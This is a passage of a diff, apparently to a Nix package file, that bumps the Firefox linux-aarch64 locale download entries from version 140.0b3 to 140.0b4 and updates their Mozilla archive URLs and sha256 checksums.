-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/gl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/gl/firefox-140.0b4.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "59cee79cd1d2b593b3ab607d7e56314188f2f9d21aa2eafc4e3da19b27e7cd5a";
+      sha256 = "d561f29fa446a9541f43651f439cde9a4c7c5dd7a4fe7d8dbb41e7dcc1aa351f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/gn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/gn/firefox-140.0b4.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "9570e9cd008c221d4587ee0ab740a98b74da2e74f2ade874eb96051c7319f60e";
+      sha256 = "84415639e92579f37ecd8598d2757a3a49aa8c81287c3d8c5b653e489e5e41a6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/gu-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/gu-IN/firefox-140.0b4.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "b0ff6954af3e48e2fe996e38bfe72f060f17a7596640b5653893bdee6ee05f24";
+      sha256 = "d05bd65e0115b4dd204833e980928e8f409e79fbad11cf003c22863775e41b14";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/he/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/he/firefox-140.0b4.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "61db85d5f194b2d6b797765180135949e683142e24a7c2f10872132a3acafeba";
+      sha256 = "3dc2d50792fe1ecf2248f243da773da783df54c039ef6f47e316caec33353f51";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/hi-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/hi-IN/firefox-140.0b4.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "e5c4e8fb08e6a36ee6c72dc0c4aadb5312e04f91cacf3679c89b7963c8d05541";
+      sha256 = "e8004158a6a24786c3ce373e43c9d9cab82142bb7d2eae9fd187f8be3e315606";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/hr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/hr/firefox-140.0b4.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "85fb4cf83ac75fd1a0e7f44b73f64e4bfa61899df78f0318370f6d232fafa063";
+      sha256 = "c0c047431c8ae0786a77b3934f47b9b5723028e028ce487a895f997fc7ca40ff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/hsb/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/hsb/firefox-140.0b4.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "05be655775adb1b4e113e047cc9188e7eefc78a4558f87a8176193697138c687";
+      sha256 = "12d757bb7689211acc5a9bf7380eb4b8f659dc5e797a16481ff43d19252670a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/hu/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/hu/firefox-140.0b4.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "566fb0b2e78f693ffdfb6b5990bebf7e84fcca396026b11678b8c613673364b7";
+      sha256 = "21e08a716cd14ae2ddd8797cecd3a387d6a69f1725283da9dab778cee0ac5a96";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/hy-AM/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/hy-AM/firefox-140.0b4.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "6e51cf2be81bd264143fe6d05f5dd0806456a111cb989b130fde546d2e561fcb";
+      sha256 = "cf0ec104784fa1f8b0965ccb54476021b0aa553fa61f76258ccc0838af3fdc58";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ia/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ia/firefox-140.0b4.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "74af672f73f85d2e7bffbfa346153358fc8418d0eb5a732d86aaf1be0b3627f9";
+      sha256 = "d398f24f832df11e54319485990d6b0763b88018e4942734f97eb6aa1027ab14";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/id/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/id/firefox-140.0b4.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "1b37065b20cdcc2e7d7793f77fa71fd846779c4ebcd68f489461489b165ba1b8";
+      sha256 = "66300532e61904c2ec3b38654fa5c04fc77132264560651eb47d08505f92aa93";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/is/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/is/firefox-140.0b4.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "782622a22fb4cac4e967c3d7c934c1fa0fc7e9734e8d4fe6738abeedad7b4188";
+      sha256 = "905759bb5644dba6962cac36370c8092c8b4d940dd0fd811d89f2633d8278375";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/it/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/it/firefox-140.0b4.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "a1c05f3d29b77c3274b65f20bfe0a0a7662133382a2080394cfdba0366cdef01";
+      sha256 = "090d658b0d9883ae4cb030efbae33dcad50cec614cc4df645d9d578f8f3d9f78";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ja/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ja/firefox-140.0b4.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "a010cfc3fba7877b33666db790d020c13014b98bc6567d9f3c5274d9705681b8";
+      sha256 = "498c93faff28cdf519c68228a929538a6d86722aa23cf77c65b9a6bc9eec6cde";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ka/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ka/firefox-140.0b4.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "1c1beaa5d438a6214dc75ccf5100982ae415d814d5589f6d19c75f3edc8a2fd3";
+      sha256 = "6a7219133dc2cd5828fca8c47c8918960078a1edb04e5d0f130572802228d8f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/kab/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/kab/firefox-140.0b4.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "5db404895a198a93cadabd73b3e8b7b9707c9b631169a69268799aba8a2e50b5";
+      sha256 = "61bf24a6f254d3a290207fd3c2578d3fe0968ac6af729c5468952c7508e60f32";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/kk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/kk/firefox-140.0b4.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "115ea1a7775f678f6c60342149993c98f107cab03e10b47ceee913a45f66f311";
+      sha256 = "c390e1a6bea9f444984fc78ac8b321c1f7a629540716f311677ce31ae853f52e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/km/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/km/firefox-140.0b4.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "de7a2faadd3072d434f8c5bd1fe62e23616c4097d5286801669ab6db27143332";
+      sha256 = "f37ca60447383abbef2720253a82d551a906b0e358c404480e94b8e69dbcd92a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/kn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/kn/firefox-140.0b4.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "713a1bf13d20796677cf3b4712da2e8f45fe01ae8d2428a48aede0ddf0d57cf3";
+      sha256 = "a5069cf01bfb68e73a524638cbb8fc435e54cf874369c0ae8199e724dcbd96eb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ko/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ko/firefox-140.0b4.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "e7642bae7805a364e3189c67143c9935188936925fbf5b9a0210141ed64a7587";
+      sha256 = "af9ba9b7c6e825b6fbd57cd1b2d015f6ca9ddde361d643d1fe520b7869e21221";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/lij/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/lij/firefox-140.0b4.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "9f65891d625c585c1515a005ce35b6de04c201428c1352efd9215fa033bdcf07";
+      sha256 = "271945a88d4fc02733fa3de327e613d822445f18c70601f43bf503dc4bb76076";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/lt/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/lt/firefox-140.0b4.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "3ca4a021fe1782414512fa7610d0eb5f3ace978373632c6a6f4d618c7afb7645";
+      sha256 = "6e822b90f21a571e72b01c353b0d2371ce0e0e788382c5cb9fbd558869f0abee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/lv/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/lv/firefox-140.0b4.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "e73d4256ae749209e41861c3bd20de05c5c50035f760c2c9355320d795e1e99d";
+      sha256 = "840962acfde031c9bf7ac3be1e491444ea5dec8f4fde6eb018376dc39e2beb73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/mk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/mk/firefox-140.0b4.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "508698c697ab258dfa923e5f63749569f87c070f2cdbc26ee0bc0a36b1996259";
+      sha256 = "f1d13371556a0fb39f65e2e327eb87a0abed3d550988faa5a06785145693326e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/mr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/mr/firefox-140.0b4.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "99e9e06270e56262f4fc4a95e6dbfb15ba918e57a964b4fadeec2ad7af4829be";
+      sha256 = "ece70d221688bc7e21b28d849a75fc827f892195ad2ce0eba0851edf5a458ae4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ms/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ms/firefox-140.0b4.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "c9c3935bb6814e5dbbbd980a4487d1dcffeba62f14e3e907f38e07dfaae4822a";
+      sha256 = "2ebac815285a5fee53d0038f7504acf772775b76e9c142825d9d38d406abbf1a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/my/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/my/firefox-140.0b4.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "ca0ec2bdd803a7d0f61a135ea61d706394877508f32c645acb014f52bf4c4a33";
+      sha256 = "f17264509af2285d77811bb37e04a78ba50795cc7ca9d7315ecf0b657063b02f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/nb-NO/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/nb-NO/firefox-140.0b4.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "c74cfbcfcb0a8b50c18f0d0da54d4855d1326aa72718dfa73614ffc276fe07da";
+      sha256 = "be7310e5f244efd65bd649ec6a87831d74f275d9d47f9fa3af413562e1f520bd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ne-NP/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ne-NP/firefox-140.0b4.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "f6e88a6e38af551c2ec786e2941c9a23451d236bfc9fc7411fd61d58ef02a93d";
+      sha256 = "f2490420afc5dfcf52ebe57bcce39f3a4884dea697f244a6bb1c5ad59f4318f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/nl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/nl/firefox-140.0b4.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "2a3dfe87d3b94479282f1bd8b700ff91df1d414ed4d9fc3733533f1db7ae2d5f";
+      sha256 = "a6cd59a175f6406118408261f6294124a7441e17847a5ec818747a79b5cfc044";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/nn-NO/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/nn-NO/firefox-140.0b4.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "fbe5608bfeea90d66f0d4f4c9dc8fe012cee2e0a664dc1eda948660e8e71a7fe";
+      sha256 = "a55c303f21439df3d7a93fb093b70b13bbd0c310d381132f1d3a0e3eb55b7edc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/oc/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/oc/firefox-140.0b4.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "36e7cfea755d82e8a210841c94c0a95bfee4a7a69cb9464726b08de103f86a01";
+      sha256 = "24e06d73859e511ec57f291bd2516492e5a30e28455a16e24eda79e186d4e484";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/pa-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/pa-IN/firefox-140.0b4.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "8c5885c4df9b41f70336217ebdc28d4e640dd99731def0546dd0e34879fd1f65";
+      sha256 = "01658567d989c0427da0ed91c633d770ed281855f1dcf9eacfc8a9d4e1c4a61d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/pl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/pl/firefox-140.0b4.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "24740a98cac566ddbaeac20d6e16d6fa715c63e703cb9b39be40b8cf9a9b18c9";
+      sha256 = "66661a57a4177366c8e50a5a9ed1c75e56d36aec6f1a11c9db167084ea23bae8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/pt-BR/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/pt-BR/firefox-140.0b4.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "cf51d2981a09199f6091cae1242c73560b1aceeaf04207175fc64e546ccc3396";
+      sha256 = "a563cf71764b735541cc1c7ea937819c7edaeaadc14cbfff3739c1ac3e16d6bf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/pt-PT/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/pt-PT/firefox-140.0b4.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "2b3cb182d876a304b386f1c091c96be21416b93dcae669a9cc93f19d65741585";
+      sha256 = "7abe6b559e61fa1fe77b9cb91c647378db6b5a45957ee03259cf9ff7f783800a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/rm/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/rm/firefox-140.0b4.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "914f3b9c41e9cf814ba31a671809f4d2daec6c77ea80e70e808f0ad7beee88d3";
+      sha256 = "9e6b92cb0b7f3ff8fd449b4a96d8b13f7eebe3f3113c98fa94eddb0a4121ebae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ro/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ro/firefox-140.0b4.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "da7893ed953bf77fd859ffaa542a7cd4ad52357fa5797d0b3c2f31d0395b9720";
+      sha256 = "38e9fa5a6953c89263feeca394a71efc409c4c9f785f34550decbba2cbc18c63";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ru/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ru/firefox-140.0b4.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "bcfedd95d87f9e1bcbde13380f811a59ce5330f0b47668920f0d7319b3c8171f";
+      sha256 = "f9fcbe379df93978d282f531609abfbc710054bc4c1461ac9fbd80a9c9b15ede";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/sat/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/sat/firefox-140.0b4.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "d36f47b320f19627ae570e7e004d87226687c469d9de70508c721d0e8d0d132c";
+      sha256 = "5f609b6774298690551bb08643d3e13733e2081fe108834908ea4f744f865fab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/sc/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/sc/firefox-140.0b4.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "34440b5887d66dfba85fa9fe431d2b30b963125d211518e2dc001b1749711f1f";
+      sha256 = "4ac4a80995702ccb10076113ef853d614ebd5d8321f336d670f2d7443b4301d2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/sco/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/sco/firefox-140.0b4.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "b3c82d814a526e801d2e4cab78b273e69238808bd1a11cb6edb12f730bc1d435";
+      sha256 = "2ac20c11a5333d3d6c61acbcc4f651e5fdda00faf85126dbe224d961506d063c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/si/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/si/firefox-140.0b4.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "32517ad2aa826fd61b2b8450f5da35ebc38b189465d3bf6bbc36797d39e2edb2";
+      sha256 = "c41d50301986acd685f22891df7003e6758ffd8b6e88b999e96e2600262cc03d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/sk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/sk/firefox-140.0b4.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "c90574e5cd3d2fb46cc800d6ab278e5377c921501ed36cf24d509387a1f5cf67";
+      sha256 = "cd8fb4a85e71d82519a3d0bcf5f8502c84bded00029ee9f1a1ffcd40cdf0f0f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/skr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/skr/firefox-140.0b4.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "cab10bad18edfad2e656545add6001aff47cc80c551c99dd4b3d4da639854d27";
+      sha256 = "5d86ae9529ea78a30b437eb85a3fc230162a62ac287ee16d4a2118d380b04f6e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/sl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/sl/firefox-140.0b4.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "a6cec788ebd392dbe0702b21fdb8ef0e35ca6ba2f0d8a9131e7f12fc10741154";
+      sha256 = "f9b3bc5c542d63952ac4fc287d6d19239fd5b14d2bfb550eb868fe2bf84ad9d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/son/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/son/firefox-140.0b4.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "e52956217c7c3ee45e7f4233beb469cd26fd379785d25c799f0c498664236862";
+      sha256 = "146bcb03804707694ff45463fa78e3b33b0ef1e4c29e8c879171cd8495f2b506";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/sq/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/sq/firefox-140.0b4.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "e06b5bfa27235106a82513ac24070c2a08841751b6a2121d6e24cba96a2079a7";
+      sha256 = "2a888fb0dc58d32d0682333b55b3fe84f79a2a3af9538fb26504745adfa04411";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/sr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/sr/firefox-140.0b4.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "29202d10e74d780a567bf5a6c68d49824723e910c755a4c5687bdd5b03dce536";
+      sha256 = "59a955e11e42f8a72274274c341a7b191ed1dc7bb3f6755ed127ecc13207735a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/sv-SE/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/sv-SE/firefox-140.0b4.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "37e53d6d434776d3d99356a408d4fb4887c080476d1f6c30e1e8fb744a61d521";
+      sha256 = "fcc9eaa8966ef2fab3befa7bb962513f15e43b8f35035db6b31cdcf517fd4a73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/szl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/szl/firefox-140.0b4.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "66a989f4abed1ce9cbedb76a4d9d9e5d4f5f8a13311da63576531fb99678553a";
+      sha256 = "7e5e7210213bcc5686701b258ef1b8feb95257dd23761d72a32bd22fe454d7bf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ta/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ta/firefox-140.0b4.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "945ed46a39471bc841582e54a7d1d0a9c9aa142071d7285973768f29fe089432";
+      sha256 = "ff668385625e513b54d37fbcbd1acdf9981c408b9b94f4029fcd09a1c2176b5c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/te/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/te/firefox-140.0b4.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "ccb22037cb8be01a0814daf27c3a53e49cafcd148f686dae99df59a93a0cf00a";
+      sha256 = "e02f9fdd62addb35ac5b762050be969602555389507046d9faf5fa7329ab4823";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/tg/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/tg/firefox-140.0b4.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "256cef45a12bb6635a74553c4e0666837ca801fbc0b2c3472cd3d322d4dd71d9";
+      sha256 = "30e5a40d34e1d99a3b8837ba126c781f71073015129d851fe1fb56eec39377bf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/th/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/th/firefox-140.0b4.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "3c07a430511b639288beb38a5396c9bf47e0035af9d9809105d412c1a1348fe7";
+      sha256 = "a7a947887fad3a4d8ef01dab58cdbc067981dcc9d7459df5d60bc656d5e2497f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/tl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/tl/firefox-140.0b4.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "8c13b2df39361cb03719249be3a1ee25ce2b76fb24e427a40577efa49165b492";
+      sha256 = "a7be643c4803c4cc96b84618c35b1c922bef223585a75f18b8349752cb975296";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/tr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/tr/firefox-140.0b4.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "0481e7ab0f1a35659b669aa97a6c6fcd976b6d7654aa2e7c4ab19f1f12e45b71";
+      sha256 = "19e5d98f276f5635841c87e6c8023e72acd60bd756ed8cfddaa0f2781fe1818f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/trs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/trs/firefox-140.0b4.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "2f42057e425350ab0c570638de750efa9a0d72cbe2f54270bcccf84832673596";
+      sha256 = "564791342249ef49da8ae779e84a013c834f0881c4acf7ed9d948b8f50d89c8a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/uk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/uk/firefox-140.0b4.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "b1905f0d4cf2005cfb2043fa93201ccb5a5cdb6735d0e0ad7abf3a33d5d1383f";
